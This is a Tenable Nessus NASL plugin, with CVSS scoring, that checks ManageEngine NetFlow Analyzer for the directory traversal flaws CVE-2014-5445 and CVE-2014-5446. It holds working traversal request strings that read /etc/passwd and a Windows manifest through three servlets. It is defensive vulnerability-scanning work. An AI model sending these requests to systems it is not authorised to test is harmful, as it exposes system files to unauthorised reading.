CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
EPSS
Percentile
100.0%
ManageEngine NetFlow Analyzer prior to version 10 build 10250 is affected by the following directory traversal vulnerabilities :
User input to the ‘schFilePath’ parameter to CVSServlet or CReportPDFServlet is not properly sanitized. A remote attacker, using a specially crafted request, can exploit this to gain access to files outside of a restricted path. (CVE-2014-5445)
User input to the ‘filename’ parameter to servlet DisplayChartPDF is not properly sanitized. A remote attacker, using a specially crafted request, can exploit this to gain access to files outside of a restricted path. (CVE-2014-5446)
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(81821);
script_version("1.9");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2014-5445", "CVE-2014-5446");
script_bugtraq_id(71404);
script_name(english:"ManageEngine NetFlow Analyzer Multiple Path Traversal and File Access");
script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by directory traversal
vulnerabilities.");
script_set_attribute(attribute:"description", value:
"ManageEngine NetFlow Analyzer prior to version 10 build 10250 is
affected by the following directory traversal vulnerabilities :
- User input to the 'schFilePath' parameter to CVSServlet
or CReportPDFServlet is not properly sanitized. A remote
attacker, using a specially crafted request, can exploit
this to gain access to files outside of a restricted
path. (CVE-2014-5445)
- User input to the 'filename' parameter to servlet
DisplayChartPDF is not properly sanitized. A remote
attacker, using a specially crafted request, can exploit
this to gain access to files outside of a restricted
path. (CVE-2014-5446)");
# https://packetstormsecurity.com/files/129336/ManageEngine-Netflow-Analyzer-IT360-File-Download.html
script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?9899d210");
script_set_attribute(attribute:"see_also", value:"https://www.manageengine.com/products/netflow/service-packs.html");
script_set_attribute(attribute:"solution", value:
"Update to version 10 build 10250 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:ND");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2014/11/30");
script_set_attribute(attribute:"patch_publication_date", value:"2015/01/23");
script_set_attribute(attribute:"plugin_publication_date", value:"2015/03/16");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:manageengine:netflow_analyzer");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2015-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("manageengine_netflow_detect.nbin");
script_require_keys("installed_sw/ManageEngine NetFlow Analyzer");
script_require_ports("Services/www", 8080);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");
app = "ManageEngine NetFlow Analyzer";
get_install_count(app_name:app, exit_if_zero:TRUE);
port = get_http_port(default:8080);
install = get_single_install(
app_name : app,
port : port
);
dir = install['path'];
url = build_url(port:port,qs:dir);
vectors = make_list(
"DisplayChartPDF?filename=../../../../Windows/WindowsShell.Manifest",
"DisplayChartPDF?filename=../../../../etc/passwd",
"CReportPDFServlet?pdf=true&schFilePath=\Windows\WindowsShell.Manifest",
"CReportPDFServlet?pdf=true&schFilePath=/etc/passwd",
"CSVServlet?schFilePath=\Windows\WindowsShell.Manifest",
"CSVServlet?schFilePath=/etc/passwd"
);
verify = make_list(
"<description>Windows Shell</description>",
"root:",
"<description>Windows Shell</description>",
"root:",
"<description>Windows Shell</description>",
"root:"
);
vurl = NULL;
res = NULL;
vuln = FALSE;
for(v = 0; v < max_index(vectors); v++)
{
# We only try the first 2 tests unless thorough_tests is on
if(v > 1 && !thorough_tests)
break;
item = dir+"netflow/servlet/"+vectors[v];
vurl = build_url(port:port, qs:item);
reg = verify[v];
res = http_send_recv3(
port : port,
method : "GET",
item : item,
exit_on_fail : TRUE
);
if("200 OK" >< res[0] && res[2] =~ reg)
{
vuln = TRUE;
break;
}
}
if(vuln)
{
file = "Windows\WindowsShell.Manifest";
if("passwd" >< vurl)
file = "/etc/passwd";
security_report_v4(
port : port,
file : file,
severity : SECURITY_WARNING,
output : res[2],
request : make_list(vurl)
);
exit(0);
}
else
audit(AUDIT_WEB_APP_NOT_AFFECTED, app, url);